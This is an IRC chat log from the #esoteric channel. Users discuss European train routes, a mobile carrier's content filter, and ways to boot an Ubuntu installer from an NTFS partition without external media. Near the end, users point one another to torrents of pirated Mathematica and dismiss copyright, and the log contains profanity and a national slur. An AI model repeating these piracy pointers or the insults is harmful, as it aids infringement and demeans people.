hitchhike. < 1269111588 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It does public transport now, yes. < 1269111592 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: You should have visited me. < 1269111595 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :to go from stockholm to london by walking < 1269111601 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it tells me to visit riga on the way < 1269111624 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the route is even crazier for Stockholm to Manchester < 1269111631 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: In retrospect, the "by car" instructions worked better for my "I just want some sort of time estimate for the train routes" use anyway. < 1269111640 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: Yep < 1269111651 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :also it seems to be non-deterministic < 1269111660 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I get different results when I retry the same search < 1269111676 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: where are you trying to get to? < 1269111686 0 :oerjan!unknown@unknown.invalid QUIT :Quit: Later < 1269111699 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :pineapple: Nowhere at the moment, we have the routes all planned up already. I was just wondering back then. < 1269111770 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: It's a bit sad that I could find no sensible train routing system that'd export me a .gpx file. I toyed a bit with OpenStreetMap editors, but it seemed non-trivial to extract long-distance train route geodata from that either, since the tracks aren't very comprehensively grouped into sets, just partially-somewhere-a-bit. < 1269111815 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: In the end I just took a generic .gpx editor thing that could display openstreetmap layers, and added some manual polylines over the railway lines that we're going to take. (I wanted a map of our route to show to relatives.) < 1269111818 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I might be able to sympathize if I knew what a .gpx was, but I guess it's some standard format for that. < 1269111840 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: It's a bit like Google's KML; a XML format for tracks, waypoints and such. < 1269111841 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Stockholm-Rostock by walking takes you through first Tallinn then Helsinki < 1269111933 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I'm not sure how comprehensive their ferry schedules are. They might not include those cruise-line corporations, even though those have those "route trip" style tickets in addition to the cruises. < 1269111952 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1269111952 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Certainly you can get directly from Stockholm to Helsinki, at the very least; most likely from Stockholm to Rostock too. < 1269111963 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, probably going by Åland < 1269111974 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :due to the tax free reasons < 1269112094 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You are not able to access this service because Content Control is in place. < 1269112095 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :If you're 18 years or over, you can remove Content Control by contacting your mobile service provider's customer support < 1269112095 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :team. < 1269112095 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fucking piece of shit < 1269112108 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, what service? < 1269112117 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :vodafuckingfone < 1269112126 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, no, I mean the blocked one < 1269112129 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :tmobile do the same but i unlocked it on that one but that one is all flutty right nw so i'm using this one < 1269112130 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :imgur < 1269112133 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :as is all other image hosts < 1269112141 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :this stick is PAID FOR < 1269112148 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1269112149 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you have no right to fuck with the data I'M paying for, nanny < 1269112152 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :jesus < 1269112162 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: On the other hand, I 'm not sure you people need those ferries very much; you can just take one of those fancy-schmancy X2000 trains from Stockholm to Copenhagen, then another train from there to anywhere in Germany you'd like; that's what we're going to do, anyway. < 1269112182 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, mhm. X2000 aren't really fancy < 1269112192 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :relatively slow compared to TGV and so on < 1269112193 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :alise: Is pixlr.com blocked? < 1269112193 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: With that sort of name, it almost has to be. < 1269112203 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :alise: If not, you can use that < 1269112204 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, you never went on X2000 before? < 1269112220 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://upurs.us/image/11623.jpeg < 1269112222 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I haven't been going round Sweden much. < 1269112222 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :A jpeg but who cares < 1269112225 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, they are tilting trains though, might feel a bit strange when taking curves thus < 1269112235 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You can almost ignore the bloat behind the screen. < 1269112251 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, that is able to resume downloads easily enough < 1269112251 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Yes, I think they're not much different from the local Pendolino ones. < 1269112272 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Of course, I like BitTorrent. < 1269112277 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But uTorrent is normally a lot less simple than that. < 1269112279 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: (Except that ours break down all the time.) < 1269112290 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, so do ours sometimes < 1269112298 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, like last autumn or such < 1269112307 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Example: http://blog.consultmirror.com/wp-content/uploads/2008/10/utorrent-general-view.png < 1269112310 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :they had to take almost all out of service to replace the wheels < 1269112315 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :due to some construction issue < 1269112317 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :"The Finnish Pendolinos have received a lot of bad publicity in Finland for their serious reliability issues, mostly caused by technical problems with their tilting system and couplers. The train did not manage to cope with the severe winter conditions." < 1269112343 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, I prefer that view :P < 1269112364 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Madman. < 1269112369 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, why? < 1269112386 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It is fluff with no purpose; statistics pon for people with no IRC to waste time on. < 1269112387 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*porn < 1269112400 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1269112472 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ehirdOS would be fine here because it would be less than 690 megabytes. < 1269112491 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :alise: Did you miss my QNX demo disk suggestion?-) < 1269112496 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: No. :P < 1269112507 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Eh, just use debug.com. < 1269112523 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :alise: The "QNX is Cool!" demo! How could you resist! < 1269112533 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Lateral thinking puzzle: You have no optical drive, no USB sticks, no floppies, no storage media whatsoever. You have a hard drive, Windows and the interwebs. How do you boot the Ubuntu LiveCD to install it to the spare partition you have? < 1269112542 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I worked it out. :P < 1269112580 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, you use wubi? < 1269112600 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Wubi installs to a file in an NTFS partition, and does not boot the LiveCD. < 1269112605 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hrrm < 1269112610 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(Yes, it literally /puts a Linux partition in a file on an NTFS partition/.) < 1269112612 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(Awful.) < 1269112625 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, well do that but to the installer instead < 1269112636 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :then load the whole thing into ram (hope it fits!) < 1269112643 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and work from there < 1269112646 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :you have one go < 1269112647 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :No, what you said makes no sense. < 1269112649 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :you can't mess it up < 1269112650 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Try again. < 1269112661 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, well, repartition and put the thing there < 1269112667 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :then boot that < 1269112683 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :How? You only have NTDLR. < 1269112694 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It doesn't get Linux. < 1269112695 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, well you can chainload with ntdlr < 1269112695 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It can't boot Linux. < 1269112702 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so yes it is possible < 1269112705 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :How? < 1269112706 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :in fact I have done it < 1269112708 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You only have Windows. < 1269112712 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :No LiveCD or anything to set this up. < 1269112718 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You're on completely the wrong track. < 1269112720 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Hmmm... Install a boot disk image that can read ISOs off of NTFS filesystems, chainload it from NTLDR, and have that boot into the LiveCD. < 1269112721 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, topology linux works kind of like wubi does < 1269112726 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it makes ntldr load grub < 1269112734 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :to then boot linux < 1269112741 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I tried it many many years ago < 1269112757 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, that might work too < 1269112758 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'll just tell you. < 1269112762 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :sure < 1269112764 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I have done the "Linux in ntldr boot menu" thing too; it involves just extracting a 512-byte boot sector into file, and adding one line to boot.ini; or at least that's the way it worked with win2k. < 1269112775 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, something like that yes < 1269112782 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I was thinking you'd just run the installer in a VM, with the spare partition direct-mounted, but that doesn't solve the booting thing really, I guess. < 1269112782 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Use http://unetbootin.sourceforge.net/. It fucks with NTDLR to boot Linux from an NTFS partition (part of one that is not a whole one) prepared from the .iso you want. < 1269112791 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :You then use this to install Ubuntu, then reboot Windows; it will undo the changes. < 1269112817 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Also, I've never heard of topology linux. < 1269112821 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Google shows nothing. < 1269112826 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, ever heard of colinux? < 1269112854 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, I guess topology linux is dead then < 1269112856 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It was a Slackware-based distro that installed onto an NTFS partition, could boot either onto the straight system or via coLinux. < 1269112864 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, ah yes you heard of it then < 1269112866 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Been ages since I've seen it, though. < 1269112894 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I seem to recall there was a Slackware installation method which puts the linux system in a FAT filesystem, not in a single file; all files are different FAT files, and there's one huge hidden metadata file to keep ownership and inode and real-filename information in. < 1269112905 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :And of course loadlin; I used to use loadlin to boot my first Slackware. < 1269112911 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1269112915 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :(With an entry in a dos 6.22 boot menu to directly invoke loadlin.) < 1269112923 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I suppose loadlin's no-go in modern Windowses. < 1269112934 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: Yeah, DragonLinux IIRC... < 1269112936 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, anyway I think it is likely your way will fuck up the system so you can't recover from it < 1269112947 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :UMSDOS is no longer maintained, so that doesn't work. ;) < 1269112962 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Ah, yes, "umsdos" was the name. < 1269112962 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: why, because you say so? It is a supported method of install < 1269112967 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, hrrm < 1269112972 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I was just googling for "udos", so that was pretty close. < 1269112978 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, what happens if the install fails when the disk is partly overwritten < 1269113010 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Uh... you install onto a different partition. < 1269113018 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, how do you make the partition then? < 1269113022 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I mean < 1269113033 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :normal windows system is one huge partition < 1269113043 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Yes, but this is already partitioned into two, conveniently. < 1269113052 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, ah that helps a lot indeed < 1269113059 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: The original problem statement did involve "the spare partition you have". < 1269113066 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, must have missed that < 1269113139 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :You can use partitionmagic to repartition anyway, if you're feeling lucky < 1269113149 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, when running from the same system!? < 1269113169 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yes, I think it can install something to do it at boot < 1269113176 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah plausible < 1269113190 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :would be replacing autochk entry I presume, like those "defrag on boot" tools do < 1269113191 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It isn't from the same system < 1269113192 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It reboots the system < 1269113201 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and uses the tinkered bootloader to run the on-NTFS Linux < 1269113205 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, we were talking about repartitioning < 1269113221 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :PartitionMagic does (or did, anyway) that, yes; you queue the actions, it asks you to reboot, at boot-time it does the magic. < 1269113236 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, plausible but scary. < 1269113236 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: so do it from inside the ubuntu livecd < 1269113265 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, I wouldn't like that, if the file for the livecd image had to be moved < 1269113276 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: What would be scary would be to use some sort of alpha-quality parted NTFS resize patch. (I'm not sure if there is one yet, but I'm sure there will be at some point.) < 1269113298 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, you can use gparted to resize ntfs < 1269113300 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :works fine < 1269113313 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but I wouldn't want parted running from the partition (or even disk) being resized < 1269113316 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Oh? http://www.gnu.org/software/parted/features.shtml was lying to me, then. < 1269113326 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, gparted invokes ntfsresize then parted < 1269113346 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, so it doesn't let parted do the whole work < 1269113363 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, gparted is in fact more than just a GUI frontend to parted < 1269113390 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: just dont run anything new < 1269113392 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*don't < 1269113394 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and it won't need to touch the disk < 1269113395 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1269113408 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, well, unlikely, any data moving will push things out of disk cache < 1269113418 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :due to the large amounts of data being moved < 1269113422 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it loads into ram < 1269113426 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :maybe unetbootin copies everything to ram anyway < 1269113429 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, so if I did it, I would do it from a ram disk indeed < 1269113430 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :for overwriting windows < 1269113458 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, and what if the install failed if you *are* overwriting linux. Yeah you are into deep problems, that's my point < 1269113505 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*overwriting windows < 1269113511 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Then you green. < 1269113516 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hrrm < 1269113527 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :yeah overwriting windows < 1269113528 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :still < 1269113541 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it is easy to end up with an unbootable system and no usb drive or cd to recover it from < 1269113546 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Windows 7 isn't too bad. < 1269113551 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Ubuntu is nicer though. < 1269113701 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, are you going to dual boot? < 1269113815 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Yes, just in case. < 1269113823 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :And for lessriskiness of installation. < 1269113872 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :true < 1269113885 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, how big is the disk? < 1269114038 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :690 mb < 1269114111 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :why? < 1269114311 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :. < 1269114396 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So slow. < 1269114734 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, err? < 1269114740 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :690 mb harddrive!? < 1269114766 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :surely you are joking < 1269114793 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Netbook. < 1269114811 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, even so, 690 mb. would be extreme < 1269114818 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :you expect 10 gb at least < 1269114833 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1269114833 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you didn't mean the iso < 1269114842 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, indeed < 1269114844 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no 2gb for netbooks < 1269114844 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :to 4gb < 1269114844 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :is the minimum < 1269114854 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, says who? microsoft? < 1269114855 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(minimum, note) < 1269114875 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, so how large is your harddrive/SSD < 1269114876 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's just the minimum you see < 1269114883 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :e.g. the dell mini 9 comes with that by default, iirc < 1269114883 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's a 250gb hd divided in two partitions, anyway < 1269114887 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :WINDOWS and Data, which has hard drive recovery stuff by default < 1269114891 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it's a hard drive not an ssd < 1269114899 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it cost �497, not �1,500 :-) < 1269114929 0 :Gracenotes!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1269114935 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :5350 kr < 1269114940 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you swedetard < 1269115059 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :"swedetard" < 1269115060 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Wow. < 1269115178 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1269115179 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: Could you put that in real money? < 1269115224 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Yes; sec. < 1269115265 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :9547252537776.06 ZW$ < 1269115276 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Hmm, that may be the pre-reset Zimbabwean dollar. < 1269115290 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :That's a few orders of magnitude too small. < 1269115303 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Then it's the post-reset one. < 1269115310 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(Where $1 became old $1bn) < 1269115317 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :$746, anyway < 1269115323 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(US) < 1269115331 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :the use of the dollar as an official currency was effectively abandoned on 12 April 2009 as a result of the Reserve Bank of Zimbabwe legalising the use of foreign currencies for transactions in January 2009 < 1269115333 0 :cheater2!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269115336 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :meh < 1269115346 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :The USD isn't real currency. I was just mocking your country's lack of Euroness. < 1269115397 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Wait, it was $10bn. < 1269115405 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Yeah; Sweden needs to get on the Euro bandwagon. < 1269115409 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :What, you meant USD?!?!?!?! < 1269115426 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :erm < 1269115430 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :What, you meant UK?!?!?!?! < 1269115442 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1269115454 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*the UK < 1269115473 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Maybe I'll go to Norway, they have the Euro :P < 1269115479 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Heheh. < 1269115499 0 :cheater2!~cheater@ip-80-226-31-201.vodafone-net.de JOIN :#esoteric < 1269115528 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But they also have... shudder.. Lutefisk. < 1269115749 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yes, they have caustic food. < 1269115777 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Shudder. < 1269115875 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION notes that there don't seem to be any pirate copies of mathematica for linux on the tubes
< 1269115889 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well, none of 7 anyway. < 1269115894 0 :cheater2!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1269115945 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :You just haven't found them. < 1269116029 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Rule 34.5. < 1269116031 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1269116036 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Mathematica porn! < 1269116203 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Admittedly I don't have access to any actually decent torrent trackers. < 1269116213 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Mathematica 5 2 Win Linux Mac � software other operating systems applications windows < 1269116215 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :5.2; wonderful. < 1269116267 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :>200kb download speed! < 1269116271 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :On a 3G stick! < 1269116272 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Woot! < 1269116299 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :And back down again :P < 1269116355 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :alise: Are you Google-deficient? "mathematica 7 linux torrent", top link. < 1269116438 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I've never before had success using Google to find torrents. < 1269116463 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Incidentally, Mathematica on OS X expands to a 4GB .app :x < 1269116466 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :when installed < 1269116527 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I just got back and read the line: " Mathematica porn!" < 1269116533 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I nearly puked < 1269116536 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1269116582 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, tpb has mathematica 7 for linux iirc < 1269116601 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :by pure coincidence, so have I < 1269116610 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :*completely* unrelated of course < 1269116625 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric ::-P < 1269116663 0 :cheater2!~cheater@ip-80-226-246-57.vodafone-net.de JOIN :#esoteric < 1269116771 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Does it have any Linux-related shittiness? < 1269116779 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise why the fuck would you steal mathematica < 1269116793 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Oh no, not an idiotic copyright defender. < 1269116798 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :fuck you < 1269116800 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :you're the idiot < 1269116813 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Firstly, copyright infringement is - apart from being an uncrime invented by idiots - not theft even if you support it. < 1269116820 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Economically, nonsense. Morally, nonsense. < 1269116827 0 